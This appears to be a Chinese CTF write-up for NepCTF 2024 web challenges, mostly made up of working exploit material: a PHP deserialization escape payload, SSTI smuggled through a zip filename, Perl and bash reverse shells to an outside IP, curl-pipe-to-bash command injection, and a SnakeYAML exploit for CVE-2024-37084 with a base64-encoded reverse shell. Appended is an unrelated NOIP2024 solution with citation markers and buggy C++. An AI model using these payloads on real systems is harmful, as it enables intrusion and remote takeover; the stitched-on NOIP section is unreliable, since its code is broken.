【Web】NepCTF 2024题解

目录

PHP_MASTER!!

NepDouble

蹦蹦炸弹(boom_it)

NepRouter-白给

Always RCE First 


PHP_MASTER!!

PHP反序列化键值逃逸+mb_strposmb_substr连用导致的字符注入

https://www.cnblogs.com/EddieMurphy-blogs/p/18310518

flag在phpinfo里

payload:

?c=%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00";s:3:"str";O:1:"B":1:{s:1:"b";s:7:"phpinfo";}}&nep1=%f0123%f0123%f0123%9f%9f%f0123&nep=Nep

NepDouble

在文件名处打SSTI

convert.py

def escape_string(s):
    # 定义要转义的字符
    replacements = {
        '{': r'\{',
        '}': r'\}',
        '[': r'\[',
        ']': r'\]',
        '(': r'\(',
        ')': r'\)',
        "'": r"\'",
        '"': r'\"',
    }

    # 替换字符串中的特殊字符
    for char, replacement in replacements.items():
        s = s.replace(char, replacement)

    return s


# 原始字符串
original_string = """{{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('\\\\143'+'\\\\141'+'\\\\164'+'\\\\40'+'\\\\57'+'\\\\146'+'\\\\52').read()")}}"""

# 转义字符串
escaped_string = escape_string(original_string)

print(escaped_string)

生成恶意文件名的文件

vim \{\{x.__init__.__globals__\[\'__builtins__\'\]\[\'eval\'\]\(\"__import__\(\'os\'\).popen\(\'\\143\'+\'\\141\'+\'\\164\'+\'\\40\'+\'\\57\'+\'\\146\'+\'\\52\'\).read\(\)\"\)\}\}

压缩成zip

zip 1.zip \{\{x.__init__.__globals__\[\'__builtins__\'\]\[\'eval\'\]\(\"__import__\(\'os\'\).popen\(\'\\143\'+\'\\141\'+\'\\164\'+\'\\40\'+\'\\57\'+\'\\146\'+\'\\52\'\).read\(\)\"\)\}\}

upload.py上传

import requests

# 定义服务器的URL
url = "https://neptune-32978.nepctf.lemonprefect.cn/"  # 替换为你的 Flask 服务器地址

# 定义要上传的文件路径
file_path = "1.zip" # 替换为你要上传的 ZIP 文件路径

# 打开文件,以便于上传
with open(file_path, 'rb') as file:
    # 构建请求的文件部分
    files = {'tp_file': file}

    # 发送 POST 请求,上传文件
    response = requests.post(url, files=files)

    # 输出服务器响应
    print("Status Code:", response.status_code)
    print("Response Text:", response.text)

蹦蹦炸弹(boom_it)

先是flask的session伪造

再路径穿越上传lock.txt

 之后便能低权限rce

start.sh有权限更改

echo '#!/bin/bash' > start.sh
echo "perl -e 'use Socket;\$i=\"124.222.136.33\";\$p=1338;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'" >> start.sh

 数据占用打崩,让服务重启反弹shell

nc 127.0.0.1 8888 < /etc/passwd

root权限读flag

 

NepRouter-白给

第一个注册流程,无论给什么图片都是TEST

找到拿字符串的html位置,手改成自己的 id,然后注册

这里要求存在一个用户NepNepIStheBestTeam,在前面就注册这个用户就能登录8080端口

setRouter处可以命令注入

参数不能带空格,用${IFS}

vps 1338起个恶意服务

bash -i >& /dev/tcp/124.222.136.33/1337 0>&1

 反弹shell

/setrouter?ip_address=127.0.0.1;curl${IFS}http://124.222.136.33:1338/evil.html|bash

Always RCE First 

对着CVE-2024-37084复现

 奇安信攻防社区-Spring Cloud Data Flow 漏洞分析(CVE-2024-22263|CVE-2024-37084)

GitHub - artsploit/yaml-payload: A tiny project for generating SnakeYAML deserialization payloads

package.yaml

apiVersion: 1.0.0
origin: my origin
repositoryId: 12345
repositoryName: local
kind: !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://124.222.136.33:1338/yaml-payload.jar"]]]]
name: test
version: 1.0.0

AwesomeScriptEngineFactory.java

package artsploit;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

    public AwesomeScriptEngineFactory() {
        try {
            Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIyLjEzNi4zMy8xMzM3IDA+JjE=}|{base64,-d}|{bash,-i}");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public String getEngineName() {
        return null;
    }

    @Override
    public String getEngineVersion() {
        return null;
    }

    @Override
    public List<String> getExtensions() {
        return null;
    }

    @Override
    public List<String> getMimeTypes() {
        return null;
    }

    @Override
    public List<String> getNames() {
        return null;
    }

    @Override
    public String getLanguageName() {
        return null;
    }

    @Override
    public String getLanguageVersion() {
        return null;
    }

    @Override
    public Object getParameter(String key) {
        return null;
    }

    @Override
    public String getMethodCallSyntax(String obj, String m, String... args) {
        return null;
    }

    @Override
    public String getOutputStatement(String toDisplay) {
        return null;
    }

    @Override
    public String getProgram(String... statements) {
        return null;
    }

    @Override
    public ScriptEngine getScriptEngine() {
        return null;
    }
}

zip包转字节列表脚本

def zip_to_byte_list(zip_file_path):
    # 打开并读取 ZIP 文件的二进制数据
    with open(zip_file_path, 'rb') as file:
        byte_content = file.read()

    # 将二进制数据转换为字节列表
    byte_list = list(byte_content)
    
    return byte_list

# 使用示例
zip_file_path = 'test-1.1.1.zip'  # 替换为你的ZIP文件路径
byte_list = zip_to_byte_list(zip_file_path)
print(byte_list)  # 输出字节列表

/api/package/upload传payload:

{"repoName":"local","name":"test","version":"1.1.1","extension":"zip","packageFileAsBytes":[x,x,x,x]}

反弹shell拿flag

### NOIP2024 T1 题解编程竞赛解题思路 #### 背景介绍 NOIP(全国青少年信息学奥林匹克联赛)作为国内重要的计算机科学赛事之一,旨在选拔优秀的程序设计人才。每年的比赛都会设置不同难度级别的题目来测试参赛者的算法能力和编程技巧。 #### 解析与策略制定 对于NOIP2024的第一道题目而言,通常这类题目会偏向基础概念的理解和简单应用,目的是让大部分选手能够入手并获得一定分数的同时也筛选出具备更深入思考能力的学生[^4]。 考虑到这一点,在面对T1这样的入门级挑战时,可以采取如下几种常见处理方式: - **直接求解**:如果问题本身相对直观,则可以直接通过观察数据特点找到规律进而得出结论。 - **暴力枚举**:当不确定最优解决方案时,可以通过遍历所有可能情况的方法尝试解决问题,虽然效率较低但对于小规模的数据集仍然适用。 - **模拟过程**:针对一些涉及具体操作流程的问题,按照给定条件逐步模仿实际执行步骤直至达到目标状态。 假设本年度的首题围绕着珠心算测验展开讨论,那么基于以往的经验来看,该类试题往往适合采用枚举的方式进行解答[^2]。下面给出一种具体的实现方案: ```cpp #include <iostream> using namespace std; int main() { int n; cin >> n; // 输入人数n bool flag[n+1]; memset(flag, false, sizeof(flag)); int a[n]; for(int i=1;i<=n;++i){ cin>>a[i]; for(int j=1;j<i;++j) for(int k=j+1;k<i;++k) if(a[j]+a[k]==a[i]) {flag[i]=true;break;} } int cnt=0; for(int i=1;i<=n;++i)if(!flag[i]) ++cnt; cout<<cnt<<"\n"; } ``` 上述代码实现了对每个数是否能由其他两个不同的数组合而成这一性质进行了判断,并统计满足特定条件的数量。这种方法不仅易于理解而且便于编码实现,非常适合初学者练习使用。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值